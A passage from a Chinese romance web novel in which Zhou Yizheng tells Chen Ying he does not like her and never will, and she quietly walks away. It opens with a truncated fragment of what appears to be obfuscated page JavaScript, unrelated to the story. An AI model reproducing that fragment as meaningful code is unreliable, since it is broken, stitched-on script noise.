0=7.0.6();b(/a|9|1|2|5|4|3|c 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手腕上还留有余温,陈楹仰头看他,眼中无辜。 “我还想问你呢,我做什么了?” “不是你把我拽来这里的吗?” 手腕上青筋凸起,周译铮指节泛白,胸腔起伏:“陈楹,不要再做这种事吸引我的注意力。” “怎么了,这不是很有用吗?”陈楹没有反驳,反倒弯了弯嘴角,尾音极轻地说了句,“这好像还是你第一次主动‘找’我。” 周译铮像是听到了什么荒谬至极的话,难以置信地低头看她。 “你能不能自爱一点?” “……?” 他是哪里来的老古董,她就靠了一下男生的肩膀,这就不自爱了? 她观察着他此刻脸上的表情,嘴角含笑: “周译铮,你是在——” “吃醋吗”这三个字还没说出口,周译铮忽然劈头盖脸地来了一句。 “陈楹,我不喜欢你。” 最后几个字,掷地有声。 时间仿佛被按下暂停键,陈楹彻底愣在原地。 夏天燥热的风穿过树林,她耳畔水滴形的耳环晃了晃,光斑摇曳,周译铮定定地看了很久,垂在身侧的手紧紧攥着。 他紧接着把话补充完整:“陈楹,我永远都不会和你在一起。” 永远。 他说的是永远。 实在太意外,以至于陈楹在这个时候竟还走了走神。 她听到过很多关于“永远”的话。 “我永远爱你。” “你永远都可以相信我。” “不管你怎么赶我走,我永远都不会离开你。” “我永远都不会生你的气。” 说起来,她还是第一次听见“永远”这个词出现在这样的语境里。 茫然和困惑交替在脸上出现,不过很快,陈楹脸上的表情又恢复了自然。 她神色极淡,向他确认:“这是你的……真心话?” 周译铮沉默了好一阵,最后点头。 “嗯。” “好的。” 她甚至没有多说一句话,转身离开。